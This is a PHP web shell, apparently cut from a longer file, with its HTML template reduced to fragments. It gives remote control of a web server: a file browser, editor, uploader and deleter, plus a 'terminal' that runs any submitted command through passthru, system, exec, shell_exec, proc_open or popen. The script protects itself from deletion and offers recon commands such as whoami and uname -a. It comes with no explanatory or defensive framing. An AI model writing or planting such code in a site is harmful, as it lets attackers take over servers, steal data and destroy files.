$item,
'path' => $full_path,
'is_dir' => true,
'size' => '-',
'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
'modified' => filemtime($full_path)
];
} else {
$files[] = [
'name' => $item,
'path' => $full_path,
'is_dir' => false,
'size' => filesize($full_path),
'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
'modified' => filemtime($full_path),
'extension' => pathinfo($item, PATHINFO_EXTENSION)
];
}
}
// Sort arrays
usort($folders, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
usort($files, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
// Handle edit mode
$editMode = isset($_GET['edit']);
$editFile = $_GET['edit'] ?? '';
$editContent = '';
if ($editMode && is_file($current_dir . DIRECTORY_SEPARATOR . $editFile)) {
$editContent = file_get_contents($current_dir . DIRECTORY_SEPARATOR . $editFile);
}
// Get messages from session
$terminal_output = $_SESSION['terminal_output'] ?? '';
$upload_message = $_SESSION['upload_message'] ?? '';
$edit_message = $_SESSION['edit_message'] ?? '';
$delete_message = $_SESSION['delete_message'] ?? '';
// Clear messages
unset($_SESSION['terminal_output'], $_SESSION['upload_message'],
$_SESSION['edit_message'], $_SESSION['delete_message']);
// Functions
function handle_terminal_command($current_dir) {
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
$canExecute = false;
foreach ($execFunctions as $func) {
if (function_exists($func)) {
$canExecute = true;
break;
}
}
$cwd = isset($_SESSION['cwd']) ? $_SESSION['cwd'] : ROOT_PATH;
$cmdInput = trim($_POST['terminal-text']);
$output = "";
// Handle cd command
if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
$dir = trim($matches[1]);
if ($dir === '' || $dir === '~') {
$dir = ROOT_PATH;
} elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
$dir = $cwd . DIRECTORY_SEPARATOR . $dir;
}
$realDir = realpath($dir);
if ($realDir && is_dir($realDir)) {
$_SESSION['cwd'] = $realDir;
$_SESSION['current_browsing_dir'] = $realDir;
$cwd = $realDir;
$output = "Changed directory to " . htmlspecialchars($realDir);
// Redirect to update the page
$relative_path = str_replace(ROOT_PATH, '', $realDir);
$encoded_dir = encodePath($relative_path);
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($encoded_dir));
exit;
} else {
$output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
}
$_SESSION['terminal_output'] = $output;
$_SESSION['terminal_cwd'] = $cwd;
return;
}
// Execute command
if ($canExecute) {
chdir($cwd);
$cmd = $cmdInput . " 2>&1";
if (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} elseif (function_exists('exec')) {
exec($cmd, $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('proc_open')) {
$pipes = [];
$process = proc_open($cmd, [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
], $pipes, $cwd);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
}
} elseif (function_exists('popen')) {
$handle = popen($cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
}
}
$_SESSION['terminal_output'] = $output ?: 'Command executed (no output)';
$_SESSION['terminal_cwd'] = $cwd;
} else {
$_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
$_SESSION['terminal_cwd'] = $cwd;
}
}
function handle_file_upload($current_dir) {
$uploaded = [];
$errors = [];
foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
if ($tmp && is_uploaded_file($tmp)) {
$filename = basename($_FILES['files']['name'][$i]);
$target_path = $current_dir . DIRECTORY_SEPARATOR . $filename;
// Check if file exists
if (file_exists($target_path)) {
$info = pathinfo($filename);
$counter = 1;
do {
$new_name = $info['filename'] . '_' . $counter . (isset($info['extension']) ? '.' . $info['extension'] : '');
$target_path = $current_dir . DIRECTORY_SEPARATOR . $new_name;
$counter++;
} while (file_exists($target_path));
$filename = basename($target_path);
}
if (move_uploaded_file($tmp, $target_path)) {
chmod($target_path, 0644);
$uploaded[] = $filename;
} else {
$errors[] = $filename;
}
}
}
if (!empty($uploaded)) {
$_SESSION['upload_message'] = "Uploaded: " . implode(', ', $uploaded);
if (!empty($errors)) {
$_SESSION['upload_message'] .= " | Failed: " . implode(', ', $errors);
}
} else {
$_SESSION['upload_message'] = "No files uploaded successfully.";
}
}
function handle_bulk_delete($current_dir) {
$selected_items = $_POST['selected_items'];
$deleted = [];
$errors = [];
foreach ($selected_items as $item) {
$target = $current_dir . DIRECTORY_SEPARATOR . $item;
// Skip deleting this script
if (realpath($target) === realpath(__FILE__)) {
$errors[] = $item . ' (protected)';
continue;
}
if (is_file($target)) {
if (unlink($target)) {
$deleted[] = $item;
} else {
$errors[] = $item;
}
} elseif (is_dir($target)) {
if (delete_directory($target)) {
$deleted[] = $item;
} else {
$errors[] = $item;
}
}
}
if (!empty($deleted)) {
$_SESSION['delete_message'] = "Deleted: " . implode(', ', $deleted);
if (!empty($errors)) {
$_SESSION['delete_message'] .= " | Failed: " . implode(', ', $errors);
}
} else {
$_SESSION['delete_message'] = "No items deleted.";
}
}
function handle_new_folder($current_dir) {
$foldername = basename(trim($_POST['newfolder']));
if (!empty($foldername) && !file_exists($current_dir . DIRECTORY_SEPARATOR . $foldername)) {
if (mkdir($current_dir . DIRECTORY_SEPARATOR . $foldername, 0755)) {
$_SESSION['delete_message'] = "Folder created: " . $foldername;
} else {
$_SESSION['delete_message'] = "Failed to create folder.";
}
} else {
$_SESSION['delete_message'] = "Folder already exists or invalid name.";
}
}
function handle_new_file($current_dir) {
$filename = basename(trim($_POST['newfile']));
if (!empty($filename) && !file_exists($current_dir . DIRECTORY_SEPARATOR . $filename)) {
if (file_put_contents($current_dir . DIRECTORY_SEPARATOR . $filename, '') !== false) {
chmod($current_dir . DIRECTORY_SEPARATOR . $filename, 0644);
$_SESSION['delete_message'] = "File created: " . $filename;
} else {
$_SESSION['delete_message'] = "Failed to create file.";
}
} else {
$_SESSION['delete_message'] = "File already exists or invalid name.";
}
}
function handle_single_delete($current_dir) {
$target = $current_dir . DIRECTORY_SEPARATOR . $_POST['delete'];
// Skip deleting this script
if (realpath($target) === realpath(__FILE__)) {
$_SESSION['delete_message'] = "Cannot delete protected file.";
return;
}
if (is_file($target)) {
if (unlink($target)) {
$_SESSION['delete_message'] = "Deleted: " . $_POST['delete'];
} else {
$_SESSION['delete_message'] = "Failed to delete: " . $_POST['delete'];
}
} elseif (is_dir($target)) {
if (delete_directory($target)) {
$_SESSION['delete_message'] = "Deleted: " . $_POST['delete'];
} else {
$_SESSION['delete_message'] = "Failed to delete directory: " . $_POST['delete'];
}
}
}
function handle_rename($current_dir) {
$old = $current_dir . DIRECTORY_SEPARATOR . $_POST['old'];
$new = $current_dir . DIRECTORY_SEPARATOR . $_POST['new'];
if (file_exists($old) && !file_exists($new) && !empty($_POST['new'])) {
if (rename($old, $new)) {
$_SESSION['delete_message'] = "Renamed: " . $_POST['old'] . " → " . $_POST['new'];
} else {
$_SESSION['delete_message'] = "Failed to rename.";
}
} else {
$_SESSION['delete_message'] = "Invalid rename operation.";
}
}
function handle_chmod($current_dir) {
$file = $current_dir . DIRECTORY_SEPARATOR . $_POST['chmod_file'];
if (file_exists($file)) {
$chmod = intval($_POST['chmod'], 8);
if (chmod($file, $chmod)) {
$_SESSION['delete_message'] = "Permissions updated for: " . $_POST['chmod_file'];
} else {
$_SESSION['delete_message'] = "Failed to update permissions.";
}
}
}
function handle_file_save($current_dir) {
$file = $current_dir . DIRECTORY_SEPARATOR . $_POST['edit_file'];
if (file_exists($file) && is_writable($file)) {
if (file_put_contents($file, stripslashes($_POST['content'])) !== false) {
$_SESSION['edit_message'] = "File saved successfully!";
} else {
$_SESSION['edit_message'] = "Failed to save file.";
}
}
}
function delete_directory($dir) {
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return unlink($dir);
}
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (!delete_directory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($dir);
}
function formatBytes($bytes, $precision = 2) {
if ($bytes <= 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, $precision) . ' ' . $units[$pow];
}
function is_executable_available() {
$functions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
foreach ($functions as $func) {
if (function_exists($func)) {
return true;
}
}
return false;
}
// Get encoded current directory for links
function getEncodedDir($dir) {
$relative = str_replace(ROOT_PATH, '', $dir);
return encodePath($relative);
}
// Render the page
?>
📤
Upload Result:
= htmlspecialchars($upload_message) ?>
💾
File Saved!
= htmlspecialchars($edit_message) ?>
🗑️
Operation Result:
= htmlspecialchars($delete_message) ?>
Current path:
/
' . htmlspecialchars($part) . '';
}
?>
✏️
Editing: = htmlspecialchars($editFile) ?>
= count($folders) ?>
Folders
= formatBytes(array_sum(array_column($files, 'size'))) ?>
Total Size
= formatBytes(disk_free_space($current_dir)) ?>
Free Space
= is_executable_available() ? '✅' : '❌' ?>
Terminal Available
🖥️ Terminal
root@server:= htmlspecialchars($current_dir) ?>$
= htmlspecialchars($terminal_output) ?>
Quick commands:
'List all files',
'whoami' => 'Show current user',
'php -v' => 'PHP version',
'uname -a' => 'System info',
'df -h' => 'Disk usage',
'id' => 'User ID info',
'pwd' => 'Current directory'
];
foreach ($quick_commands as $cmd => $desc): ?>
'; document.querySelector('[name=\"terminal-text\"]').focus();"
title="= $desc ?>">
= $cmd ?>
📂 File Browser
|
|
Name |
Size |
Permissions |
Modified |
Actions |
|
|
📁
= htmlspecialchars($item['name']) ?>
|
= $item['size'] ?> |
|
= date('Y-m-d H:i', $item['modified']) ?> |
|
|
|
'🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'txt' => '📝',
'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📕', 'zip' => '📦',
'sql' => '🗃️', 'json' => '📋', 'xml' => '📄', 'sh' => '⚡', 'py' => '🐍'
];
if (isset($icons[$ext])) $icon = $icons[$ext];
?>
= $icon ?>
= htmlspecialchars($item['name']) ?>
🔒 Protected
|
= formatBytes($item['size']) ?> |
|
= date('Y-m-d H:i', $item['modified']) ?> |
|